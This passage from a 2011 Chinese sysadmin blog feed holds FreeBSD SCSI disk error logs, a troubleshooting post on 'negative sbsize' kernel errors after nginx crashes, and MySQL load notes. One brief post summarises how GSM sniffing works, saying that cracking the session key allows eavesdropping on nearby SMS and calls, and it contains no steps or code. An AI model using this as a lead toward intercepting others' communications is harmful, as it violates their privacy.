<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">24&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;status:&nbsp;Check&nbsp;Condition</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">25&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;sense:&nbsp;MEDIUM&nbsp;ERROR&nbsp;info:18a1c9df&nbsp;csi:6,70,c8,c3&nbsp;asc:11,4&nbsp;(Unrecovered&nbsp;read&nbsp;error&nbsp;-&nbsp;auto&nbsp;reallocate&nbsp;failed)&nbsp;actual&nbsp;retry&nbsp;count:&nbsp;4</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">26&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;READ(10).&nbsp;CDB:&nbsp;28&nbsp;0&nbsp;d&nbsp;a3&nbsp;41&nbsp;df&nbsp;0&nbsp;0&nbsp;20&nbsp;0</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">27&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;CAM&nbsp;status:&nbsp;SCSI&nbsp;Status&nbsp;Error</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">28&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;status:&nbsp;Check&nbsp;Condition</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">29&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;sense:&nbsp;MEDIUM&nbsp;ERROR&nbsp;info:18a1c9df&nbsp;csi:6,70,c8,c3&nbsp;asc:11,4&nbsp;(Unrecovered&nbsp;read&nbsp;error&nbsp;-&nbsp;auto&nbsp;reallocate&nbsp;failed)&nbsp;actual&nbsp;retry&nbsp;count:&nbsp;4</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">30&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;READ(10).&nbsp;CDB:&nbsp;28&nbsp;0&nbsp;d&nbsp;a3&nbsp;41&nbsp;df&nbsp;0&nbsp;0&nbsp;20&nbsp;0</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">31&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;CAM&nbsp;status:&nbsp;SCSI&nbsp;Status&nbsp;Error</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">32&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;status:&nbsp;Check&nbsp;Condition</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">33&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;(da1:mpt0:0:1:0):&nbsp;SCSI&nbsp;sense:&nbsp;MEDIUM&nbsp;ERROR&nbsp;info:18a1c9df&nbsp;csi:6,70,c8,c3&nbsp;asc:11,4&nbsp;(Unrecovered&nbsp;read&nbsp;error&nbsp;-&nbsp;auto&nbsp;reallocate&nbsp;failed)&nbsp;actual&nbsp;retry&nbsp;count:&nbsp;4</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">34&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:29&nbsp;ecjtu&nbsp;kernel:&nbsp;g_vfs_done():da1s1f[READ(offset=53183987712,&nbsp;length=16384)]error&nbsp;=&nbsp;5</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-left:18.0000pt;margin-bottom:0pt;margin-top:0pt;border-right:none; ;mso-border-right-alt:none; ;border-left:none; ;mso-border-left-alt:none; ;padding:0pt 2pt 0pt 7pt;text-autospace:ideograph-other;line-height:10.5000pt;"><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Symbol';">35&nbsp;</span><span style="mso-spacerun:'yes';color:#000000;font-style:normal;font-size:9.0000pt;font-family:'Consolas';">Mar&nbsp;17&nbsp;03:17:42&nbsp;ecjtu&nbsp;kernel:&nbsp;pid&nbsp;1314&nbsp;(nginx),&nbsp;uid&nbsp;80:&nbsp;exited&nbsp;on&nbsp;signal&nbsp;11</span><span style="mso-spacerun:'yes';color:#5c5c5c;font-style:normal;font-size:9.0000pt;font-family:'Consolas';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:11.5500pt;margin-top:0pt;padding:0pt 0pt 0pt 0pt;text-autospace:ideograph-other;"><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';"><br />
</span><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:11.5500pt;margin-top:0pt;padding:0pt 0pt 0pt 0pt;text-autospace:ideograph-other;"><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';">mysql<span style="font-family:宋体;">负载超高应该就是那个万恶的</span><span style="font-family:Tahoma;">Discuz&nbsp;x&nbsp;1.5</span><span style="font-family:宋体;">的首页多格插件导致的，怎么能用这种</span><span style="font-family:Tahoma;">sql</span><span style="font-family:宋体;">语句呢</span><span style="font-family:'Times New Roman';">……&nbsp;&nbsp;</span><span style="font-family:宋体;">上</span><span style="font-family:Tahoma;">G</span><span style="font-family:宋体;">的表啊</span><span style="font-family:'Times New Roman';">……</span><span style="font-family:宋体;">又没有加索引。</span></span><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:11.5500pt;margin-top:0pt;padding:0pt 0pt 0pt 0pt;text-autospace:ideograph-other;"><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';">SCSI<span style="font-family:宋体;">硬盘的问题就大了&nbsp;&nbsp;&nbsp;回头再仔细看下</span></span><span style="mso-spacerun:'yes';font-style:normal;font-size:10.5000pt;font-family:'Tahoma';"><o:p></o:p></span></p>
<p class="p0" style="margin-bottom:0pt;margin-top:0pt;"><span style="mso-spacerun:'yes';font-size:10.5000pt;font-family:'Times New Roman';"><o:p></o:p></span></p>
</div>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/FreeBSD-mount">Mount命令使用详解</a></p><p><a href="http://www.holmesian.org/Freebsd_apache_die">APache假死问题</a></p><p><a href="http://www.holmesian.org/MySQL_to_InnoDB">批量修改Mysql表引擎为InnoDB的方法</a></p><p><a href="http://www.holmesian.org/FreeBSD-DHCP">解决VirtualBox里FreeBSD不能上网的问题</a></p><p><a href="http://www.holmesian.org/post/527">FreeBSD启动过程</a></p><p><a href="http://www.holmesian.org/MySQL-BinLog">MySQL服务器的log-bin功能</a></p></div>]]></description>
	<pubDate>Thu, 17 Mar 2011 02:10:26 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/error-logs</guid>

</item>
<item>
	<title>嗅探与破解GSM网络原理</title>
	<link>http://www.holmesian.org/GSM-sniffing</link>
	<description><![CDATA[<p>(pdf在线下载)</p>
<p>虽然是英文版的 &nbsp;但是比较简单 &nbsp;流程很清晰 &nbsp;设备也不是太贵，有兴趣的TX可以下载看看这基本原理和流程</p>
<p>&nbsp;</p>
<p>我的理解整个探嗅过程最主要的是解开一个用于加密session-key，类似于解卡时每张SIM的那个由七组数据构成的KI码，最终效果可以探测周围的短信和电话语音</p>
<p>&nbsp;</p>
<p>仅供安全人员测试研究，不要拿去做坏事。</p>
<p>&nbsp;</p>]]></description>
	<pubDate>Wed, 16 Mar 2011 14:26:36 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/GSM-sniffing</guid>

</item>
<item>
	<title>negative sbsize for uid问题</title>
	<link>http://www.holmesian.org/negative-sbsize-freebsd</link>
	<description><![CDATA[<p>早上发现一台FreeBSD8的服务器不能访问了，于是起来找原因</p>
<p>发现message日志如下</p>
<div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>Mar </span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">53</span><span> ecjtu kernel: pid </span><span class="number">49982</span><span> (nginx), uid </span><span class="number">80</span><span>: exited on signal </span><span class="number">11</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">02</span><span>:</span><span class="number">38</span><span>:</span><span class="number">18</span><span> ecjtu kernel: negative sbsize </span><span class="keyword">for</span><span> uid = </span><span class="number">0</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Mar <span class="number">16</span><span> </span><span class="number">02</span><span>:</span><span class="number">38</span><span>:</span><span class="number">48</span><span> ecjtu last message repeated </span><span class="number">3</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">02</span><span>:</span><span class="number">40</span><span>:</span><span class="number">33</span><span> ecjtu last message repeated </span><span class="number">2</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Mar <span class="number">16</span><span> </span><span class="number">02</span><span>:</span><span class="number">50</span><span>:</span><span class="number">33</span><span> ecjtu last message repeated </span><span class="number">18</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">03</span><span>:</span><span class="number">00</span><span>:</span><span class="number">38</span><span> ecjtu last message repeated </span><span class="number">18</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Mar <span class="number">16</span><span> </span><span class="number">03</span><span>:</span><span class="number">09</span><span>:</span><span class="number">48</span><span> ecjtu last message repeated </span><span class="number">54</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">03</span><span>:</span><span class="number">20</span><span>:</span><span class="number">08</span><span> ecjtu last message repeated </span><span class="number">52</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Mar <span class="number">16</span><span> </span><span class="number">03</span><span>:</span><span class="number">22</span><span>:</span><span class="number">37</span><span> ecjtu last message repeated </span><span class="number">6</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">07</span><span>:</span><span class="number">33</span><span>:</span><span class="number">50</span><span> ecjtu kernel: negative sbsize </span><span class="keyword">for</span><span> uid = </span><span class="number">0</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span>Mar <span class="number">16</span><span> </span><span class="number">07</span><span>:</span><span class="number">34</span><span>:</span><span class="number">08</span><span> ecjtu last message repeated </span><span class="number">13</span><span> times</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>Mar <span class="number">16</span><span> </span><span class="number">07</span><span>:</span><span class="number">34</span><span>:</span><span class="number">48</span><span> ecjtu syslogd: exiting on signal </span><span class="number">15</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;"><pre>Mar 15 23:00:53 ecjtu kernel: pid 49982 (nginx), uid 80: exited on signal 11Mar 16 02:38:18 ecjtu kernel: negative sbsize for uid = 0Mar 16 02:38:48 ecjtu last message repeated 3 timesMar 16 02:40:33 ecjtu last message repeated 2 timesMar 16 02:50:33 ecjtu last message repeated 18 timesMar 16 03:00:38 ecjtu last message repeated 18 timesMar 16 03:09:48 ecjtu last message repeated 54 timesMar 16 03:20:08 ecjtu last message repeated 52 timesMar 16 03:22:37 ecjtu last message repeated 6 timesMar 16 07:33:50 ecjtu kernel: negative sbsize for uid = 0Mar 16 07:34:08 ecjtu last message repeated 13 timesMar 16 07:34:48 ecjtu syslogd: exiting on signal 15</pre></div>
<div contenteditable="false"><link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>先是nginx不知道什么原因挂掉，接着内核就不停地报错：“<span style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;border-top-style:none;border-right-style:none;border-bottom-style:none;border-left-style:none;border-width:initial;border-color:initial;color:black;background-color:inherit;">negative sbsize </span><span class="keyword" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;border-top-style:none;border-right-style:none;border-bottom-style:none;border-left-style:none;border-width:initial;border-color:initial;color:blue;background-color:inherit;font-weight:bold;">for</span><span style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;border-top-style:none;border-right-style:none;border-bottom-style:none;border-left-style:none;border-width:initial;border-color:initial;color:black;background-color:inherit;"> uid = </span><span class="number" style="margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;border-top-style:none;border-right-style:none;border-bottom-style:none;border-left-style:none;border-width:initial;border-color:initial;color:black;background-color:inherit;">0</span>”，这种情况还是第一次出现，网上找了一圈都没有发现靠谱的解释，最多就是有位TX说是sysctl设置有问题需要使用sysctl来修改某值，不过CD的是没有说是修改什么值。</p>
<p>&nbsp;</p>
<p>出错提示直译大概意思是内核中一个叫sbsize的参数出现问题或者为负值了（发现FreeBSD出问题的地方往往都有sb,比如之前的sbwait^），而sbsize在<a href="http://www.freebsd.org/doc/zh_CN/books/handbook/users-limiting.html">FreeBSD手册</a>中的定义是</p>
<div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>sbsize</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>这是网络内存数量的限制， 这主要是针对通过创建许多套接字的老式 DoS 攻击的， 但也可以用来限制网络通信。</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;"><pre>sbsize这是网络内存数量的限制， 这主要是针对通过创建许多套接字的老式 DoS 攻击的， 但也可以用来限制网络通信。</pre></div>
<div contenteditable="false"><link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>所以可以理解为因为某些原因导致内核能够使用的网络内存出现了问题，回想一下最近一次有关的操作只有<a href="/mysql-tmp-table-size/">调大Mysql的tmp_table_size设置</a>了，这绝对影响不到内核的啊……</p>
<p>并且我认为网上那位哥们说通过sysctl来修改sbsize的值我觉得不靠谱，因为sbsize是通过 <tt class="FILENAME" style="color:#007a00;">/etc/login.conf</tt> 来进行修改的，并且其默认设置即为sbsize=unlimited:\ （不做任何限制），详细内容请参考<a href="http://www.freebsd.org/cgi/man.cgi?query=login.conf&amp;sektion=5">这里</a></p>
<p>&nbsp;</p>
<p>考虑到出现sbsize错误之前nginx出现了错误并退出遂查看nginx-error.log：</p>
<div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">22</span><span>:</span><span class="number">58</span><span>:</span><span class="number">05</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry 951878715df071a63b54faeda175efbf, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">22</span><span>:</span><span class="number">59</span><span>:</span><span class="number">35</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry b1353ad7cfd43b8bb2ce9325690c70ce, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">22</span><span>:</span><span class="number">59</span><span>:</span><span class="number">35</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry 25b48a1833e1fa97f22a3de30ec18942, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">22</span><span>:</span><span class="number">59</span><span>:</span><span class="number">42</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry dc6feecce5c717fc7cd23c2dfecdedd7, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">16</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry 98f9496af1861e4ed6203772ce94936d, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">19</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry bb9a71780d703b57db2ccbaf0f46563a, count:2</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">22</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry 7398418e04c8c887a8bbf4b9b1fec0e6, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">44</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry d69d4c5844e0a799405a39853fd88dee, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">48</span><span> [alert] </span><span class="number">49983</span><span class="comment">#0: ignore long locked inactive cache entry f1e5037ce7fe297b40a00045fdc2d2a3, count:1</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span><span class="number">2011</span><span>/</span><span class="number">03</span><span>/</span><span class="number">15</span><span> </span><span class="number">23</span><span>:</span><span class="number">00</span><span>:</span><span class="number">54</span><span> [alert] </span><span class="number">49581</span><span class="comment">#0: worker process 49982 exited on signal 11</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none;"><pre>2011/03/15 22:58:05 [alert] 49983#0: ignore long locked inactive cache entry 951878715df071a63b54faeda175efbf, count:12011/03/15 22:59:35 [alert] 49983#0: ignore long locked inactive cache entry b1353ad7cfd43b8bb2ce9325690c70ce, count:12011/03/15 22:59:35 [alert] 49983#0: ignore long locked inactive cache entry 25b48a1833e1fa97f22a3de30ec18942, count:12011/03/15 22:59:42 [alert] 49983#0: ignore long locked inactive cache entry dc6feecce5c717fc7cd23c2dfecdedd7, count:12011/03/15 23:00:16 [alert] 49983#0: ignore long locked inactive cache entry 98f9496af1861e4ed6203772ce94936d, count:12011/03/15 23:00:19 [alert] 49983#0: ignore long locked inactive cache entry bb9a71780d703b57db2ccbaf0f46563a, count:22011/03/15 23:00:22 [alert] 49983#0: ignore long locked inactive cache entry 7398418e04c8c887a8bbf4b9b1fec0e6, count:12011/03/15 23:00:44 [alert] 49983#0: ignore long locked inactive cache entry d69d4c5844e0a799405a39853fd88dee, count:12011/03/15 23:00:48 [alert] 49983#0: ignore long locked inactive cache entry f1e5037ce7fe297b40a00045fdc2d2a3, count:12011/03/15 23:00:54 [alert] 49581#0: worker process 49982 exited on signal 11</pre></div>
<div contenteditable="false"><link href="/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet"></div>
</div>
<p>莫非是nginx缓存导致的问题？</p>
<p>于是将nginx的缓存目录清空并重启服务以观后效。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/465">解决任务栏中输入法图标问题</a></p><p><a href="http://www.holmesian.org/xiaomi-charge">小米手机电量显示错误</a></p><p><a href="http://www.holmesian.org/FreeBSD-Ports">FreeBSD 使用ports安装时下载很慢</a></p><p><a href="http://www.holmesian.org/FreeBSD">FreeBSD实用命令</a></p><p><a href="http://www.holmesian.org/FreeBSD-network">FreeBSD查看当前外部网络连接情况</a></p><p><a href="http://www.holmesian.org/FreeBSD_mysql_GBK">FreeBSD下Mysql的字符集问题</a></p></div>]]></description>
	<pubDate>Wed, 16 Mar 2011 00:01:25 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/negative-sbsize-freebsd</guid>

</item>
<item>
	<title>Mysql缓解Copying to tmp table on disk状态</title>
	<link>http://www.holmesian.org/mysql-tmp-table-size</link>
	<description><![CDATA[<p>FreeBSD8.0+Nginx+FastCG+Mysql5.0的环境，本来跑Dedecms+Discuz!+UChome一切运转良好，后来升级到Discuz X1.5，由于合并之后Discuz X 1.5中有某个单表超过1G，偶尔会出现论坛不能访问的情况。</p>
<p>经检查不能访问时Nginx状态良好，只是reading数和writing数飙升，php-cgi进程大量提示sbwait状态，mysql负载居高不下，在mysql中运行show proceslist;得到回显如下</p>
<p>&nbsp;</p>
<div class="HighLighter" contenteditable="false"><div contenteditable="false" class="dp-highlighter"><div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">&nbsp;&nbsp;&nbsp;&nbsp;<li class="alt"><span><span>show processlist;</span></span></li>
&nbsp;&nbsp;&nbsp;&nbsp;<li><span>+---------+---------------+----------------+---------------+-------------+--------+----------------------------------------------------------------+------------------------------------------------------------------------------------------------------+</span></li>
